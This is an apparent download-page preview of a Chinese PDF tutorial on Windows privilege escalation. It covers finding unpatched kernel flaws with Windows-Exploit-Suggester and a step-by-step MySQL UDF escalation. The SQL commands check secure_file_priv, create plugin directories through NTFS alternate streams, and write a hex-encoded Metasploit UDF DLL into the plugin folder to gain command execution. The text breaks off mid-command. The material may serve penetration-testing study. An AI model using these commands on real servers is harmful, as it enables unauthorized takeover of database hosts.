Windows提权总结(一)——数据库与系统漏洞.pdf
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
Windows提权总结(⼀) 提权总结(⼀)——数据库与系统漏洞 数据库与系统漏洞 Windows提权总结 提权总结(1)——数据库与系统漏洞 数据库与系统漏洞 0x01 内核漏洞提权 内核漏洞提权 Github上windows系统溢出漏洞提权的汇总: 内核漏洞检测⼯具——Windows-Exploit-Suggester 其主要功能是通过⽐对systeminfo⽣成的⽂件,⽐对KB编号,从⽽发现系统是否存在未修复漏洞。 使⽤: 更新数据库 python2 ./windows-exploit-suggester.py --update 安装依赖xlrd python2 -m pip install xlrd --upgrade 这⾥要注意,最近xlrd更新到了2.0.1版本,只⽀持.xls⽂件,与我们⽣成的数据库xlsx⽂件有冲突。 所以安装旧版xlrd: python2 -m pip uninstall xlrd python2 -m pip install xlrd==1.2.0 将利⽤的Windows机的SystemInfo打印到1.txt,执⾏以下命令 python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt 利⽤给出的链接下载POC并提权 0x02 数据库提权 数据库提权 2.1 MYSQL提权 提权 2.1.1 UDF提权 提权 UDF (user defined function),即⽤户⾃定义函数。通过添加类似于命令执⾏的新函数,执⾏任意命令 提权条件: 有mysql的root权限以及secure_file_priv的值为空 mysql5.1以上有写lib/plugin⽬录权限 提权原理: 利⽤了root ⾼权限,创建带有调⽤cmd的函数的udf.dll动态链接库 Step1: 查看 secure_file_priv的值 show global variables like 'secure%'; 如果 secure_file_priv的值为NULL,则⽆法导⼊⽂件,也就⽆法提权。 secure_file_priv 的值不能通过set改变,需要在mysql配置⽂件my.ini中添加/修改 secure_file_priv='' 如果 secure_file_priv没有具体的值,则可以写⼊导出⽂件。 导⼊/导出成功 Step2: 查看plugin的值 select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1); 当plugin值为 mysql_native_password 时可通过账户连接提权 Step3: 查看系统架构以及plugin⽬录 show variables like '%compile%'; #查看主机版本及架构 show variables like 'plugin%'; #查看 plugin ⽬录 64位 E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 看架构的原因是要确定udf⽤64位还是32位的 在MSF中有: cd /usr/share/metasploit-framework/data/exploits/mysql/ 将对应的dll下载 Step4:将dll⽂件写⼊plugin⽬录,并且创建函数(如果没有"./mysql/lib/plugin/"这个⽬录,需要⾃⾏创建) 将整个DLL⽂件以⼗六进制编码后写⼊磁盘。 select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(写⽬录,其实⼤部分时 候是没有写权限的) select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex'; select [⼗六进制值] into dumpfile "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64
- 粉丝: 168
- 资源: 3万+
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助